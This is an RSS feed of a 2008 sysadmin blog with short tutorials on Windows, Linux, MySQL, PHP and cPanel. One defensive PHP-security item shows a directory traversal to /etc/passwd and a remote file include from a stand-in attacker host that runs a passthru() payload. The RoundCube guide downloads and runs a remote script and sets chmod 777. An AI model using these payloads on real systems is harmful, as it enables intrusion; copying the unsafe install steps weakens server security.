<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>John Bernard Abella [blog]</title>
	<link>http://www.johnbernardabella.com</link>
	<description>A System Admin's Notebook, A Progrmmers Journal</description>
	<pubDate>Fri, 16 May 2008 17:21:06 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.1</generator>
	<language>en</language>
			<item>
		<title>Insufficient System Resources Exist to Complete the API.</title>
		<link>http://www.johnbernardabella.com/2008/05/14/insufficient-system-resources-exist-to-complete-the-api/</link>
		<comments>http://www.johnbernardabella.com/2008/05/14/insufficient-system-resources-exist-to-complete-the-api/#comments</comments>
		<pubDate>Wed, 14 May 2008 02:50:02 +0000</pubDate>
		<dc:creator>jba_21</dc:creator>
		
		<category><![CDATA[Windows Help]]></category>

		<category><![CDATA[]]></category>

		<category><![CDATA[hibernate]]></category>

		<category><![CDATA[hibernate error]]></category>

		<category><![CDATA[Insufficient System Resources Exist to Complete the API]]></category>

		<category><![CDATA[winxp pro]]></category>

		<category><![CDATA[winxp pro sp2]]></category>

		<category><![CDATA[winxp sp2]]></category>

		<guid isPermaLink="false">http://www.johnbernardabella.com/2008/05/14/insufficient-system-resources-exist-to-complete-the-api/</guid>
		<description><![CDATA[SYMPTOMS
You use a computer that is running Microsoft Windows XP with Service Pack 2 (SP2), Microsoft Windows XP Tablet PC Edition 2005, or Microsoft Windows XP Media Center Edition 2005. When you try to put the computer in hibernation, the computer occasionally does not hibernate. When this problem occurs, you receive an error message that [...]]]></description>
			<content:encoded><![CDATA[<p><strong>SYMPTOMS</strong></p>
<p>You use a computer that is running Microsoft Windows XP with Service Pack 2 (SP2), Microsoft Windows XP Tablet PC Edition 2005, or Microsoft Windows XP Media Center Edition 2005. When you try to put the computer in hibernation, the computer occasionally does not hibernate. When this problem occurs, you receive an error message that is similar to the following:</p>
<blockquote><p>Insufficient System Resources Exist to Complete the API.</p></blockquote>
<p>When you experience this problem, the hibernate feature is not available on the computer until you restart the computer.</p>
<p></p>
<p>This problem typically occurs when the computer uses 1 gigabyte (GB) or more of RAM.</p>
<p><strong>Note</strong> The Windows XP SP2 features and components are included in Windows XP Tablet PC Edition 2005 and in Windows XP Media Center Edition 2005.</p>
<p><strong>CAUSE</strong></p>
<p>This problem occurs because the Windows kernel power manager cannot obtain the memory resources that are required to prepare the computer to hibernate.</p>
<p><strong>RESOLUTION</strong></p>
<p>The following file is available for download from the Microsoft download center:</p>
<ul>
<li><strong>Download Link: </strong><a href="http://www.microsoft.com/downloads/details.aspx?familyid=9D20F96A-A8D6-4627-89F7-787CD9B3852C">Update for Windows XP (KB909095)</a></li>
</ul>
<p class="addtoany_share_save">
    <a name="a2a_dd" onmouseover="a2a_show_dropdown(this)" onmouseout="a2a_onMouseOut_delay()" href="http://www.addtoany.com/bookmark?sitename=John%20Bernard%20Abella%20%5Bblog%5D&amp;siteurl=http%3A%2F%2Fwww.johnbernardabella.com%2F&amp;linkname=Insufficient%20System%20Resources%20Exist%20to%20Complete%20the%20API.&amp;linkurl=http%3A%2F%2Fwww.johnbernardabella.com%2F2008%2F05%2F14%2Finsufficient-system-resources-exist-to-complete-the-api%2F"><img src="http://www.johnbernardabella.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" border="0" alt="Share/Save/Bookmark"/></a>
    <script type="text/javascript">
		a2a_linkname="Insufficient System Resources Exist to Complete the API.";
		a2a_linkurl="http://www.johnbernardabella.com/2008/05/14/insufficient-system-resources-exist-to-complete-the-api/";
				    </script>
    <script type="text/javascript" src="http://www.addtoany.com/menu/page.js"></script>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.johnbernardabella.com/2008/05/14/insufficient-system-resources-exist-to-complete-the-api/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Recovering from a forgotten root password</title>
		<link>http://www.johnbernardabella.com/2008/02/07/rocovering-from-a-forgotten-root-password/</link>
		<comments>http://www.johnbernardabella.com/2008/02/07/rocovering-from-a-forgotten-root-password/#comments</comments>
		<pubDate>Wed, 06 Feb 2008 17:37:57 +0000</pubDate>
		<dc:creator>jba_21</dc:creator>
		
		<category><![CDATA[Linux Help]]></category>

		<category><![CDATA[change password]]></category>

		<category><![CDATA[change root password]]></category>

		<category><![CDATA[linux password]]></category>

		<category><![CDATA[recover root password]]></category>

		<category><![CDATA[reset password]]></category>

		<category><![CDATA[reset root password]]></category>

		<category><![CDATA[root password]]></category>

		<guid isPermaLink="false">http://www.johnbernardabella.com/2008/02/07/rocovering-from-a-forgotten-root-password/</guid>
		<description><![CDATA[To perform a system administrator task, you have to know the root password.  What happens if you forgot your root password?  Not to worry. Just reboot your PC and you can reset the root password by following these steps:

Reboot the PC(select reboot as you log out the of the GUI) or power up [...]]]></description>
			<content:encoded><![CDATA[<p>To perform a system administrator task, you have to know the root password.  What happens if you forgot your root password?  Not to worry. Just reboot your PC and you can reset the root password by following these steps:</p>
<ol>
<li>Reboot the PC(select reboot as you log out the of the GUI) or power up a usual.<br />
<blockquote><p>Soon you see the graphical boot loader on screen that shows the name of the operating systems you can boot.  If your system runs with LILO boot loader, press <code>Ctrl+X</code> and at the boot prompt type <code>linux single</code> and press enter. Then proceed to step 4.</p></blockquote>
<p>
</li>
<li>If you have more than one operating system installed, use the arrow key to select linux as operating system, then press the A key.</li>
<blockquote><p>GRUB prompts you for commands to add to its defualt boot command.</p></blockquote>
<li>Press the spacebar, type the following, and press enter:</li>
<blockquote><p><code>single</code></p>
<p>Linux starts up as usual but runs in a single-user mode that do not require you to log in.  After linux starts, you will see the following command line prompts that ends with a hash mark (#), similar to the following :</p>
<p><code>sh-2.05b#</code></p></blockquote>
<li>Type the <code>paswrd</code> command to change the <code>root</code> password as follows:</li>
<blockquote><p><code>sh-2.05b# passwd<br />
Changing password for root user.<br />
New password:</code></p></blockquote>
<li>Type the new <code>root</code> password that you want to use (it doesn&#8217;t appear on screen) and then press enter.</li>
<blockquote><p>Linux asks for the password again, like this:</p>
<p><code>Retype new password:</code></p></blockquote>
<li>Type the new password again, and press enter.</li>
<blockquote><p>If you enter the same password both times, the <code>passwrd </code>command changes the <code>root</code> password.</p></blockquote>
<li>Now type reboot to reboot the PC.</li>
<blockquote><p>After linux starts, it displays the familiar login screen.  Now you can log in as <code>root</code> with the new password</p></blockquote>
</ol>
<p></p>
<p class="addtoany_share_save">
    <a name="a2a_dd" onmouseover="a2a_show_dropdown(this)" onmouseout="a2a_onMouseOut_delay()" href="http://www.addtoany.com/bookmark?sitename=John%20Bernard%20Abella%20%5Bblog%5D&amp;siteurl=http%3A%2F%2Fwww.johnbernardabella.com%2F&amp;linkname=Recovering%20from%20a%20forgotten%20root%20password&amp;linkurl=http%3A%2F%2Fwww.johnbernardabella.com%2F2008%2F02%2F07%2Frocovering-from-a-forgotten-root-password%2F"><img src="http://www.johnbernardabella.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" border="0" alt="Share/Save/Bookmark"/></a>
    <script type="text/javascript">
		a2a_linkname="Recovering from a forgotten root password";
		a2a_linkurl="http://www.johnbernardabella.com/2008/02/07/rocovering-from-a-forgotten-root-password/";
				    </script>
    <script type="text/javascript" src="http://www.addtoany.com/menu/page.js"></script>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.johnbernardabella.com/2008/02/07/rocovering-from-a-forgotten-root-password/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Resetting Mysql root Password</title>
		<link>http://www.johnbernardabella.com/2008/02/06/resetting-mysql-root-password/</link>
		<comments>http://www.johnbernardabella.com/2008/02/06/resetting-mysql-root-password/#comments</comments>
		<pubDate>Wed, 06 Feb 2008 12:37:59 +0000</pubDate>
		<dc:creator>jba_21</dc:creator>
		
		<category><![CDATA[Linux Help]]></category>

		<category><![CDATA[PHP Programming]]></category>

		<category><![CDATA[mysql]]></category>

		<category><![CDATA[mysql root password]]></category>

		<category><![CDATA[mysqld password]]></category>

		<category><![CDATA[recover mysql password]]></category>

		<category><![CDATA[recover password]]></category>

		<category><![CDATA[reset password]]></category>

		<category><![CDATA[root password]]></category>

		<guid isPermaLink="false">http://www.johnbernardabella.com/2008/02/06/resetting-mysql-root-password/</guid>
		<description><![CDATA[&#8216;Like locking your keys in the car, to forget your password after
you&#8217;ve spent an hour installing and tweaking a new MySQL server can be
an embarassment to say the least.&#8217;

Fortunately, if you have root access to that computer, all in NOT lost.
Here are the steps when you found yourself in this situation.
1. Kill the server process.
% [...]]]></description>
			<content:encoded><![CDATA[<p>&#8216;Like locking your keys in the car, to forget your password after<br />
you&#8217;ve spent an hour installing and tweaking a new MySQL server can be<br />
an embarassment to say the least.&#8217;<br />
<br />
Fortunately, if you have root access to that computer, all in NOT lost.</p>
<p>Here are the steps when you found yourself in this situation.</p>
<p>1. Kill the server process.<br />
<code>% kill pid</code><br />
(where pid is the process id. Do not use kill -9 unless absolutely<br />
necessary, as this may damage your table files)</p>
<p>2. Run safe-mysqld with the &#8211;skip-grant-tables command line option.<br />
(This instructs the MySQL server to allow unrestricted access to<br />
anyone) NOTE: restrict all remote access before issuing this command<br />
<code>% safe-mysqld --skip-grant-table</code></p>
<p>3. Change root password<br />
<code>mysql &gt; use mysql;<br />
mysql &gt; update user set password = password('newpassword') where user<br />
= 'root';</code><br />
<br />
4. Disconnect and instruct the mysql server to reload the grants<br />
tables to begin requiring passwords.<br />
<code>% mysqladmin flush-privileges</code></p>
<p>&#8220;That does it &#8212; and nobody ever has to know what you did. As for<br />
locking your keys in your car, you&#8217;re on your own there.&#8221;</p>
<p>Must have for php-mysql beginners developers.</p>
<p class="addtoany_share_save">
    <a name="a2a_dd" onmouseover="a2a_show_dropdown(this)" onmouseout="a2a_onMouseOut_delay()" href="http://www.addtoany.com/bookmark?sitename=John%20Bernard%20Abella%20%5Bblog%5D&amp;siteurl=http%3A%2F%2Fwww.johnbernardabella.com%2F&amp;linkname=Resetting%20Mysql%20root%20Password&amp;linkurl=http%3A%2F%2Fwww.johnbernardabella.com%2F2008%2F02%2F06%2Fresetting-mysql-root-password%2F"><img src="http://www.johnbernardabella.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" border="0" alt="Share/Save/Bookmark"/></a>
    <script type="text/javascript">
		a2a_linkname="Resetting Mysql root Password";
		a2a_linkurl="http://www.johnbernardabella.com/2008/02/06/resetting-mysql-root-password/";
				    </script>
    <script type="text/javascript" src="http://www.addtoany.com/menu/page.js"></script>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.johnbernardabella.com/2008/02/06/resetting-mysql-root-password/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Secure Programming in PHP</title>
		<link>http://www.johnbernardabella.com/2008/02/05/secure-programming-in-php/</link>
		<comments>http://www.johnbernardabella.com/2008/02/05/secure-programming-in-php/#comments</comments>
		<pubDate>Tue, 05 Feb 2008 10:21:36 +0000</pubDate>
		<dc:creator>jba_21</dc:creator>
		
		<category><![CDATA[PHP Programming]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Secure]]></category>

		<category><![CDATA[Secure Programming]]></category>

		<guid isPermaLink="false">http://www.johnbernardabella.com/2008/02/05/secure-programming-in-php/</guid>
		<description><![CDATA[This article discusses the common threats and challenges of programming secure PHP applications and practical methods for doing so.
Introduction
The goal of this paper is not only to show common threats and challenges of programming secure PHP applications but also to show you practical methods for doing so. The wonderful thing about PHP is that people [...]]]></description>
			<content:encoded><![CDATA[<p>This article discusses the common threats and challenges of programming secure PHP applications and practical methods for doing so.</p>
<p><strong>Introduction</strong></p>
<p>The goal of this paper is not only to show common threats and challenges of programming secure PHP applications but also to show you practical methods for doing so. The wonderful thing about PHP is that people with little or even no programming experience are able to achieve simple goals very quickly. The problem, on the other hand, is that many programmers are not really conscious about what is going behind the curtains. Security and convenience do not often go hand in hand &#8212; but they can.</p>
<p><strong>Dangers</strong></p>
<p><strong>Files</strong><br />
PHP has some very flexible file handling functions. The include(), require() and fopen() functions accept local path names as well as remote files using URLs. A lot of vulnerabilities I have seen are due to incorrect handling of dynamic file or path names.<br />
<br />
<strong>Example</strong><br />
On a site I will not mention in this article (because the problem still has not been solved) has one script which includes various HTML files and displays them in the proper layout. Have a look at the following URL:</p>
<p>http://example.com/page.php?i=aboutus.html</p>
<p>The variable $i obviously contains the file name to be included. When you see a URL like this, a lot of questions should come to your mind:</p>
<p>* Has the programmer considered directory traversals like i=../../../etc/passwd?<br />
* Does he check for the .html extension?<br />
* Does he use fopen() to include the files?<br />
* Has he thought about not allowing remote files?</p>
<p>In this case, every answer was negative. Time to play! Of course, it is now possible to read all the files the httpd user has read access for. But what is even more exciting is the fact that the include() function is used to include the HTML file. Consider this:</p>
<p>http://example.com/page.php?i=http://evilhacker.org/exec.html</p>
<p>Where exec.html contains a couple of lines of code:</p>
<p><code>&lt;?php<br />
passthru ('id');<br />
passthru ('ls -al /etc');<br />
passthru ('ping -c 1 evilhaxor.org');<br />
passthru ('echo You have been hax0red | mail root');<br />
?&gt;<br />
</code><br />
I am sure you get the idea. A lot of bad things can be done from here.<br />
 <a href="http://www.johnbernardabella.com/2008/02/05/secure-programming-in-php/#more-11" class="more-link">(more&#8230;)</a></p>
<p class="addtoany_share_save">
    <a name="a2a_dd" onmouseover="a2a_show_dropdown(this)" onmouseout="a2a_onMouseOut_delay()" href="http://www.addtoany.com/bookmark?sitename=John%20Bernard%20Abella%20%5Bblog%5D&amp;siteurl=http%3A%2F%2Fwww.johnbernardabella.com%2F&amp;linkname=Secure%20Programming%20in%20PHP&amp;linkurl=http%3A%2F%2Fwww.johnbernardabella.com%2F2008%2F02%2F05%2Fsecure-programming-in-php%2F"><img src="http://www.johnbernardabella.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" border="0" alt="Share/Save/Bookmark"/></a>
    <script type="text/javascript">
		a2a_linkname="Secure Programming in PHP";
		a2a_linkurl="http://www.johnbernardabella.com/2008/02/05/secure-programming-in-php/";
				    </script>
    <script type="text/javascript" src="http://www.addtoany.com/menu/page.js"></script>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.johnbernardabella.com/2008/02/05/secure-programming-in-php/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Getting Started with CodeIgniter</title>
		<link>http://www.johnbernardabella.com/2008/02/04/getting-started-with-codeigniter/</link>
		<comments>http://www.johnbernardabella.com/2008/02/04/getting-started-with-codeigniter/#comments</comments>
		<pubDate>Mon, 04 Feb 2008 10:09:05 +0000</pubDate>
		<dc:creator>jba_21</dc:creator>
		
		<category><![CDATA[CodeIgniter]]></category>

		<category><![CDATA[CI]]></category>

		<category><![CDATA[Config]]></category>

		<category><![CDATA[Configuration]]></category>

		<category><![CDATA[Framework]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[PHP Framework]]></category>

		<guid isPermaLink="false">http://www.johnbernardabella.com/2008/02/04/getting-started-with-codeigniter/</guid>
		<description><![CDATA[Actually CodeIgniter framework (CI) is nearly zero configuration.  First is to put your CI files to your webserver, in this example will be using the web root directory of my webserver.
Host : www.johnbernardabella.com
Database :  localhost
Username : test
Password : test
After we need to modify system\application\config\config.php

Look for :
$config['base_url'] = ''
change to :
$config['base_url'] = "http://www.johnbernardabella.com/" //for [...]]]></description>
			<content:encoded><![CDATA[<p>Actually CodeIgniter framework (<strong>CI</strong>) is nearly zero configuration.  First is to put your CI files to your webserver, in this example will be using the web root directory of my webserver.</p>
<blockquote><p>Host : www.johnbernardabella.com<br />
Database :  localhost<br />
Username : test<br />
Password : test</p></blockquote>
<p>After we need to modify <strong>system\application\config\config.php</strong></p>
<p></p>
<p>Look for :</p>
<p><code>$config['base_url'] = ''</code></p>
<p>change to :</p>
<p><code>$config['base_url'] = "http://www.johnbernardabella.com/" //for we are using the web root of the server</code></p>
<p>Then Save.</p>
<p>Second is to open  <strong>system\application\config\database.php</strong></p>
<p><code>$db['default']['hostname'] = "localhost";     //Host of the database<br />
$db['default']['username'] = "test";             //Username of the database<br />
$db['default']['password'] = "test";             //Password of the database<br />
$db['default']['database'] = "test";             // Database Name<br />
$db['default']['dbdriver'] = "mysql";            // Database driver for this example I use mysql<br />
$db['default']['dbprefix'] = "";                          // Database prefix<br />
$db['default']['pconnect'] = FALSE;          // Connection type (pconnect of connect)</code></p>
<p>and you CI is now configured, it now able to connect the database.</p>
<p>Next topic would be tweaking defualt CI configuration.</p>
<p class="addtoany_share_save">
    <a name="a2a_dd" onmouseover="a2a_show_dropdown(this)" onmouseout="a2a_onMouseOut_delay()" href="http://www.addtoany.com/bookmark?sitename=John%20Bernard%20Abella%20%5Bblog%5D&amp;siteurl=http%3A%2F%2Fwww.johnbernardabella.com%2F&amp;linkname=Getting%20Started%20with%20CodeIgniter&amp;linkurl=http%3A%2F%2Fwww.johnbernardabella.com%2F2008%2F02%2F04%2Fgetting-started-with-codeigniter%2F"><img src="http://www.johnbernardabella.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" border="0" alt="Share/Save/Bookmark"/></a>
    <script type="text/javascript">
		a2a_linkname="Getting Started with CodeIgniter";
		a2a_linkurl="http://www.johnbernardabella.com/2008/02/04/getting-started-with-codeigniter/";
				    </script>
    <script type="text/javascript" src="http://www.addtoany.com/menu/page.js"></script>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.johnbernardabella.com/2008/02/04/getting-started-with-codeigniter/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Installing RoundCube in cPanel</title>
		<link>http://www.johnbernardabella.com/2008/02/03/installing-roundcube-in-cpanel/</link>
		<comments>http://www.johnbernardabella.com/2008/02/03/installing-roundcube-in-cpanel/#comments</comments>
		<pubDate>Sun, 03 Feb 2008 09:55:22 +0000</pubDate>
		<dc:creator>jba_21</dc:creator>
		
		<category><![CDATA[Linux Help]]></category>

		<category><![CDATA[cPanel]]></category>

		<category><![CDATA[email]]></category>

		<category><![CDATA[email interface]]></category>

		<category><![CDATA[Installing RoundCount in cPanel]]></category>

		<category><![CDATA[RoundCube]]></category>

		<guid isPermaLink="false">http://www.johnbernardabella.com/2008/02/03/installing-roundcube-in-cpanel/</guid>
		<description><![CDATA[First make sure you know your mysql root password, you have to replace DATABASEPASSWORD to your mysql root password.
If you have already used RoundCube installation please make sure you remove any traces of it with,

cd /usr/local/cpanel/base
rm -rf roundcube*
mysql -p -e 'drop database roundcube';
chattr -i /usr/local/cpanel/base/frontend/x/webmaillogin.html
chattr -i /usr/local/cpanel/base/webmaillogin.cgi
/scripts/upcp


You will have to specify your root password when [...]]]></description>
			<content:encoded><![CDATA[<p>First make sure you know your mysql root password, you have to replace DATABASEPASSWORD to your mysql root password.</p>
<p>If you have already used RoundCube installation please make sure you remove any traces of it with,</p>
<p><code><br />
cd /usr/local/cpanel/base<br />
rm -rf roundcube*<br />
mysql -p -e 'drop database roundcube';<br />
chattr -i /usr/local/cpanel/base/frontend/x/webmaillogin.html<br />
chattr -i /usr/local/cpanel/base/webmaillogin.cgi<br />
/scripts/upcp<br />
</code></p>
<p></p>
<p>You will have to specify your root password when prompted.</p>
<p>Now lets download roundcube first and chmod the directorys</p>
<p><code><br />
cd /usr/local/cpanel/base<br />
wget -O roundcube.tar.gz http://heanet.dl.sourceforge.net/sourceforge/roundcubemail/<br />
roundcubemail-0.1-rc1.tar.gz<br />
tar -zxvf roundcube.tar.gz<br />
rm -rf roundcube.tar.gz<br />
mv -f roundcubemail-0.1-rc1 roundcube<br />
cd roundcube<br />
chmod -R 777 temp<br />
chmod -R 777 logs<br />
</code></p>
<p>Create the database and install the intial sql file. The following commands will do this for you.</p>
<p><code><br />
mysql -e "CREATE DATABASE roundcube;" -pDATABASEPASSWORD<br />
mysql -e "use roundcube; source SQL/mysql.initial.sql;" -pDATABASEPASSWORD<br />
</code></p>
<p>Now lets sort out the configuration</p>
<p><code><br />
cd config<br />
mv db.inc.php.dist db.inc.php<br />
mv main.inc.php.dist main.inc.php<br />
</code></p>
<p>Now open db.inc.php</p>
<p>nano db.inc.php</p>
<p>Find</p>
<p><code><br />
$rcmail_config['db_dsnw'] = 'mysql://roundcube:pass@localhost/roundcubemail';<br />
</code></p>
<p>Replace with</p>
<p><code><br />
$rcmail_config['db_dsnw'] = 'mysql://root:DATABASEPASSWORD@localhost/roundcube';<br />
</code></p>
<p>Now Open main.inc.php</p>
<p>nano main.inc.php</p>
<p>Find</p>
<p><code><br />
$rcmail_config['default_host'] = '';<br />
</code></p>
<p>Replace with</p>
<p><code><br />
$rcmail_config['default_host'] = 'localhost';<br />
</code></p>
<p>Now we have to configure cPanel to show roundcube in the theme. Please note this is for the X theme(default) only!! If you use another theme please skip the next part and see below.</p>
<p><code><br />
cd /usr/local/cpanel/base/roundcube/skins/default/images/<br />
cp --reply=yes roundcube_logo.png /usr/local/cpanel/base/frontend/x/images/roundcube_logo.png<br />
cp --reply=yes roundcube_logo.png /usr/local/cpanel/base/webmail/x/images/roundcube_logo.png<br />
cd /usr/local/cpanel/base<br />
wget http://www.hostgeekz.com/files/hostgeekz/HGpatch-roundcube-0.1-rc1<br />
patch -p0 &lt; HGpatch-roundcube-0.1-rc1<br />
</code></p>
<p>**NOTE** If you receive a message stating</p>
<p>Reversed (or previously applied) patch detected! Assume -R?</p>
<p>please press N for No as this is because you previously installed roundcube</p>
<p>This will auto do all the necessary changes to roundcube and the X theme.</p>
<p>Once the patch is executed you may now access roundcube via http://yourip/webmail</p>
<p>&#8212;&#8211;</p>
<p>If you do not use the X theme please do the following</p>
<p><code><br />
cd /usr/local/cpanel/base<br />
wget http://www.hostgeekz.com/files/hostgeekz/HGpatch-roundcube-NON-X-0.1-rc1<br />
patch -p0 &lt; HGpatch-roundcube-NON-X-0.1-rc1<br />
</code></p>
<p>Then open your webmaillogin.html, please replace YOURTHEME with the name of your theme.</p>
<p><code><br />
nano /usr/local/cpanel/base/frontend/YOURTHEME/webmaillogin.html<br />
</code></p>
<p>and find</p>
<p><code>  </code></p>
<p>Add Below</p>
<p><code></code></p>
<p><a href="/roundcube/index.php"><img src="images/roundcube_logo.png" border="0" /></a><br />
<a href="/roundcube/index.php">RoundCube</a>&#8212;&#8212;</p>
<p>***UPDATE***<br />
Remember to chattr +i the files or add the patch to your /scripts/upcp.</p>
<p><code><br />
chattr +i /usr/local/cpanel/base/frontend/x/webmaillogin.html<br />
chattr +i /usr/local/cpanel/base/webmaillogin.cgi<br />
</code></p>
<p>If you are using cPanel 11 ensure to run the following fix.</p>
<p><code><br />
wget http://www.hostgeekz.com/files/hostgeekz/cpanel-11-fix.sh<br />
chmod 700 cpanel-11-fix.sh<br />
./cpanel-11-fix.sh<br />
rm -f cpanel-11-fix.sh<br />
</code></p>
<p>That&#8217;s it! You may now access roundcube via http://yourip/webmail</p>
<p class="addtoany_share_save">
    <a name="a2a_dd" onmouseover="a2a_show_dropdown(this)" onmouseout="a2a_onMouseOut_delay()" href="http://www.addtoany.com/bookmark?sitename=John%20Bernard%20Abella%20%5Bblog%5D&amp;siteurl=http%3A%2F%2Fwww.johnbernardabella.com%2F&amp;linkname=Installing%20RoundCube%20in%20cPanel&amp;linkurl=http%3A%2F%2Fwww.johnbernardabella.com%2F2008%2F02%2F03%2Finstalling-roundcube-in-cpanel%2F"><img src="http://www.johnbernardabella.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" border="0" alt="Share/Save/Bookmark"/></a>
    <script type="text/javascript">
		a2a_linkname="Installing RoundCube in cPanel";
		a2a_linkurl="http://www.johnbernardabella.com/2008/02/03/installing-roundcube-in-cpanel/";
				    </script>
    <script type="text/javascript" src="http://www.addtoany.com/menu/page.js"></script>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.johnbernardabella.com/2008/02/03/installing-roundcube-in-cpanel/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Alternative for rm command</title>
		<link>http://www.johnbernardabella.com/2008/02/02/alternative-for-rm-command/</link>
		<comments>http://www.johnbernardabella.com/2008/02/02/alternative-for-rm-command/#comments</comments>
		<pubDate>Fri, 01 Feb 2008 16:07:17 +0000</pubDate>
		<dc:creator>jba_21</dc:creator>
		
		<category><![CDATA[Linux Help]]></category>

		<category><![CDATA[linux command]]></category>

		<category><![CDATA[linux rm]]></category>

		<category><![CDATA[remove files]]></category>

		<category><![CDATA[rm]]></category>

		<category><![CDATA[rm command]]></category>

		<guid isPermaLink="false">http://www.johnbernardabella.com/2008/02/03/alternative-for-rm-command/</guid>
		<description><![CDATA[Ive been handling  webserver with more than 1000 website and lots of unique visitors per month. Session are stored on the server hard drive and every end of the month i need to clean it up.
Now i was puzzled by rm command.
rm -f *
in /tmp/ directory. The terminal choked and gave out:
-bash: /bin/rm: Argument [...]]]></description>
			<content:encoded><![CDATA[<p>Ive been handling  webserver with more than 1000 website and lots of unique visitors per month. Session are stored on the server hard drive and every end of the month i need to clean it up.</p>
<p>Now i was puzzled by rm command.<br />
<code>rm -f *</code></p>
<p>in /tmp/ directory. The terminal choked and gave out:</p>
<p><code>-bash: /bin/rm: Argument list too long</code></p>
<p>Apparently there are a maximum number of files that can be passed to rm.</p>
<p><code>ls -1 | grep sess | wc -l</code></p>
<p><code>382611</code></p>
<p></p>
<p>wow 382611 session files! image how long it would take if you have an application that running with sessions.<br />
The solution for this problem would be :</p>
<p><code>find . -name 'sess*' | xargs rm </code></p>
<p class="addtoany_share_save">
    <a name="a2a_dd" onmouseover="a2a_show_dropdown(this)" onmouseout="a2a_onMouseOut_delay()" href="http://www.addtoany.com/bookmark?sitename=John%20Bernard%20Abella%20%5Bblog%5D&amp;siteurl=http%3A%2F%2Fwww.johnbernardabella.com%2F&amp;linkname=Alternative%20for%20rm%20command&amp;linkurl=http%3A%2F%2Fwww.johnbernardabella.com%2F2008%2F02%2F02%2Falternative-for-rm-command%2F"><img src="http://www.johnbernardabella.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" border="0" alt="Share/Save/Bookmark"/></a>
    <script type="text/javascript">
		a2a_linkname="Alternative for rm command";
		a2a_linkurl="http://www.johnbernardabella.com/2008/02/02/alternative-for-rm-command/";
				    </script>
    <script type="text/javascript" src="http://www.addtoany.com/menu/page.js"></script>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.johnbernardabella.com/2008/02/02/alternative-for-rm-command/feed/</wfw:commentRss>
		</item>
		<item>
		<title>UC BSIT 04</title>
		<link>http://www.johnbernardabella.com/2008/02/01/uc-bsit-04/</link>
		<comments>http://www.johnbernardabella.com/2008/02/01/uc-bsit-04/#comments</comments>
		<pubDate>Fri, 01 Feb 2008 13:47:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[My Vidz]]></category>

		<category><![CDATA[BSIT04]]></category>

		<category><![CDATA[UC]]></category>

		<guid isPermaLink="false">http://www.johnbernardabella.com/2008/02/02/uc-bsit-04/</guid>
		<description><![CDATA[

    
    
		a2a_linkname="UC BSIT 04";
		a2a_linkurl="http://www.johnbernardabella.com/2008/02/01/uc-bsit-04/";
				    
    

	]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/Q10MUye8y4I"></param><embed src="http://www.youtube.com/v/Q10MUye8y4I" type="application/x-shockwave-flash" width="425" height="350"></embed></object></p>
<p class="addtoany_share_save">
    <a name="a2a_dd" onmouseover="a2a_show_dropdown(this)" onmouseout="a2a_onMouseOut_delay()" href="http://www.addtoany.com/bookmark?sitename=John%20Bernard%20Abella%20%5Bblog%5D&amp;siteurl=http%3A%2F%2Fwww.johnbernardabella.com%2F&amp;linkname=UC%20BSIT%2004&amp;linkurl=http%3A%2F%2Fwww.johnbernardabella.com%2F2008%2F02%2F01%2Fuc-bsit-04%2F"><img src="http://www.johnbernardabella.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" border="0" alt="Share/Save/Bookmark"/></a>
    <script type="text/javascript">
		a2a_linkname="UC BSIT 04";
		a2a_linkurl="http://www.johnbernardabella.com/2008/02/01/uc-bsit-04/";
				    </script>
    <script type="text/javascript" src="http://www.addtoany.com/menu/page.js"></script>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.johnbernardabella.com/2008/02/01/uc-bsit-04/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Forum Song</title>
		<link>http://www.johnbernardabella.com/2008/01/31/the-forum-song/</link>
		<comments>http://www.johnbernardabella.com/2008/01/31/the-forum-song/#comments</comments>
		<pubDate>Thu, 31 Jan 2008 05:46:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[My Vidz]]></category>

		<category><![CDATA[forum song]]></category>

		<category><![CDATA[istorya theme song]]></category>

		<category><![CDATA[istorya.net]]></category>

		<guid isPermaLink="false">http://www.johnbernardabella.com/2008/01/31/the-forum-song/</guid>
		<description><![CDATA[
The Forum song (the official iSTORYA.NET theme song)
Composer &#38; Second Voice - ZuperTzai
Guitars - GlassMoon
Tambourine - Micah
Clappers - The StarMaker Sound Studios Staff
Recorded &#38; Mastered -  StarMaker Sound Studios
Lyrics - iSTORYA
Producer - Mr. Douglas Wells

    
    
		a2a_linkname="The Forum Song";
		a2a_linkurl="http://www.johnbernardabella.com/2008/01/31/the-forum-song/";
				    
    

	]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/9pmdCwWgNIs"></param><embed src="http://www.youtube.com/v/9pmdCwWgNIs" type="application/x-shockwave-flash" width="425" height="350"></embed></object><br />
The Forum song (the official iSTORYA.NET theme song)<br />
